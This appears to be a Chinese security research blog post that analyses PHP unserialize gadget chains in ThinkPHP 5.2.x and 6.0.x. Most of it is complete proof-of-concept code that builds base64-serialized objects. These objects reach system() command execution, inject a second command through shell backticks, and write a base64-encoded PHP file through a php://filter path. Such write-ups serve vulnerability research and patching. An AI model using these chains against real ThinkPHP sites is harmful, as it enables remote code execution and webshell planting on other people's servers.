先记:Thinkphp 5.2.x 反序列化简析
由于官方已删除 framework v5.2.x-dev,导致无法复现环境,只能靠现有文章理解了 https://xz.aliyun.com/t/6619#toc-2
这种方法是利用
think\model\concern\Attribute类中的getValue方法中可控的一个动态函数调用的点,$closure = $this->withAttr[$fieldName]; //$withAttr、$value可控,令$closure=system, $value = $closure($value, $this->data);//system('ls',$this->data),命令执行这种方法跟上面基本一样,唯一不同的就是在getValue处利用tp自带的SerializableClosure调用,而不是上面找的system()
\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。在Opis\Closure\SerializableClosure->__invoke()中有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。call_user_func_array($this->closure, func_get_args());
这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用,将会触发SerializableClosure.php的__invoke执行$func = function(){phpinfo();}; $closure = new \Opis\Closure\SerializableClosure($func); $closure($value, $this->data);// 这里的参数可以不用管需要可以上传,利用
think\Db.php中存在__call实现文件包含getshell
6.0.x 反序列化简析
Gadget i
来源 https://www.anquanke.com/post/id/187393,文章中是利用`checkAllowFields`中509行db 方法中的 name 函数进行字符串转换
实际可以直接利用510行的,由于执行.连接,更加方便,本文对后者进行分析system后$data被置为0,在进入510行后,会因为进入toArray下array_merge合并参数数组时报错退出
利用链类似5.2.x上的__destruct -> __toString,不过6.x取消了Windows类,需要换一个入口
- 在 Model 和 AbstractCache 下类似的调用了 save 方法,但是后者没有实现,只能看前者

跟入updateData -> checkAllowFields -> db看到字符串拼接,接下来就是类似之前的流程了,这里选择$this->name、$this->table、$this->suffix都可以,但如果是$table的话会因为在510行时进入toArray下array_merge合并参数数组时,由于509行执行后$data被置为0,报错退出

poc 编写
为了能进入checkAllowFields触发__toString,我们需要考虑绕过中间的返回
根据下图,可知最直接进入的需求为:
$lazySave= true$datanot empty$exists= true$force= true

<?php
namespace think;
abstract class Model {
function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->data = ['sari3l'];
$this->force = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {};
echo base64_encode(serialize(new Pivot()));
之后我们还需要$this->table存在情况下进行字符串连接,并设置为目标类以及触发Conversion下的__toString,但是 Model 就已经继承Conversion,所以只需要重新生成一个再传入即可
<?php
namespace think;
abstract class Model {
...
function __construct($obj){
...
$this->table = $obj;
}
}
...
class Pivot extends Model {
function __construct($obj){
parent::__construct($obj);
}
}
$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));
接下来就是在Conversion中实现动态加载函数,和5.2.x相似

注意到toArray中需要控制$data中的key,以及在getAttr中从$data中取对应value,以及最后将通过$withAttr控制$closure,同时注意到488行判断了两个key同才可进入逻辑
简单来说
$withwithAttrkey[$key]-> 目标方法$data[$key]-> 目标参数
abstract class Model {
...
private $data = [];
private $withAttr = [];
function __construct($obj){
...
$this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
$this->withAttr = ["sari3l" => "system"];
}
}
最终 POC
<?php
namespace think;
abstract class Model {
function __construct($obj){
$this->lazySave = true;
$this->exists = true;
$this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
$this->force = true;
$this->table = $obj;
$this->withAttr = ["sari3l" => "system"];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
function __construct($obj){
parent::__construct($obj);
}
}
$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));

Gadget ii
这里利用的同5.2.x中的第二种方法
\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的
$closure($value, $this->data)调用执行。
当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,$closure又是可控的传入,那么可以直接序列化一个匿名函数在getValue中触发

只是$closure那里需要修改,简单改一下 poc 即可,注意加载autoload文件
namespace think;
require __DIR__ . '/../vendor/autoload.php';
use Opis\Closure\SerializableClosure;
abstract class Model {
...
function __construct($obj){
...
$this->data = ['sari3l' => ''];
$this->withAttr = ["sari3l" => new SerializableClosure(function (){system('/System/Applications/Calculator.app/Contents/MacOS/Calculator');})];
}
...

还需要注意一点,由于此gadget中$data并不起到参数作用而只是为了绕过return,所以由于checkAllowFields的509行执行db中存在转换$table拼接,而510也同样存在$table转换,导致会触发两次,可以利用$name实现只触发一次
Gadget iii
前两个都依靠 Model -> __destruct,这里来看看 AbstractCache -> __destruct
由于AbstractCache并没有实现save方法,要看看其子类;如果子类也没有实现,还可看其__call方法

通过搜索set方法,我们可以看到Redis、cache/driver/File、driver/Memcached、Memcache均有类似的逻辑代码


编写 poc
先按照之前的写法,准备进入 serialize 函数
<?php
namespace think\cache\driver;
class Memcached {
protected $options = ['prefix' => '?'];
}
namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {
function __construct(){
$this->autosave = false;
$this->key = '_sari3l';
$this->store = new Memcached();
$this->expire = 0;
}
}
echo base64_encode(serialize(new CacheStore()));
在serialize中,我们可以通过控制options执行目标函数,但还需考虑如何控制进入serialize的$value了,即控制最后执行的参数
通过下面的调用,可以看到最主要位于最后的
- array_flip 交换键值
- array_intersect_key 使用键名比较计算数组的交集 -> 取共同键,取第一个数组中对应值,组成新数组返回

在shell里面,
`的优先级是高于"的,所以会先执行whoami然后再将执行结果拼接成一个新的命令
php > system('{"1":"`whoami`"}');
sh: {1:sariel.d}: command not found
因此我们只需要保证目标语句在返回数据中存在即可,由于优先级问题,不用考虑数据是否合法
交换键值后,$cachedProperties = ['path' => 0, ...],因为array_intersect_key会在第一个参数中取值,所以只要保证$object = ['path' => '`<command>`']即可
最终 POC
<?php
namespace think\cache\driver;
class Memcached {
protected $options = ['prefix' => 'author', 'serialize' => ['system']];
}
namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {
function __construct(){
$this->autosave = false;
$this->key = '_sari3l';
$this->store = new Memcached();
$this->expire = 0;
$this->cache = [['path' => '`/System/Applications/Calculator.app/Contents/MacOS/Calculator`']];
}
}
echo base64_encode(serialize(new CacheStore()));

Gadget iv
在Gadget iii中利用的think\cache\driver\Memcached
而在cache/driver/File中除了同 iii 中的直接利用方式,还可以直接写shell
主要利用两点:
在 getForStorage 中 json_encode 实现拼接

利用php伪协议转义写入文件内容,而且同时用于可以绕过
exit(),(测试$cache直接明文payload,$this->cache会直接为空,可能有过滤但未注意)
需要注意的两点
$data会经过serialize可执行任意方法,为了保持原有字符串内容,这里选择serialize或其他函数- 要控制
$complete内容将最终写入$data前部分内容长度为 4 的倍数,以便正常执行base64解码
最终 POC
<?php
namespace think\cache\driver;
class File {
protected $options = [
'prefix' => false,
'hash_type' => 'md5',
'cache_subdir' => false,
'path' => 'php://filter/convert.base64-decode/resource=/tmp/',
'data_compress' => false,
'serialize' => ['serialize'],
];
}
namespace think\filesystem;
use think\cache\driver\File;
class CacheStore {
function __construct() {
$this->autosave = false;
$this->expire = 0;
$this->key = '_sari3l';
$this->store = new File();
$this->cache = [];
$this->complete = 'PD9waHAgZWNobyAic2FyaTNsIjsgPz4K';
}
}
echo base64_encode(serialize(new CacheStore()));
Gadget vi + i
类似写入还有:Adapter 这个很简单,不想写分析了,直接上 POC
唯一的问题,不知道我本地原因还是怎么,$cache和$complete中不能明文带 php payload,否则直接为空?
<?php
namespace League\Flysystem\Adapter;
class Local{
function __construct() {
$this->pathPrefix = '/';
}
}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
class Adapter{
function __construct() {
$this->autosave = false;
$this->adapter = new Local();
$this->cache = [];
$this->file = '/tmp/sari3l.php';
$this->complete = "_sari3l";
}
}
echo base64_encode(serialize(new Adapter()));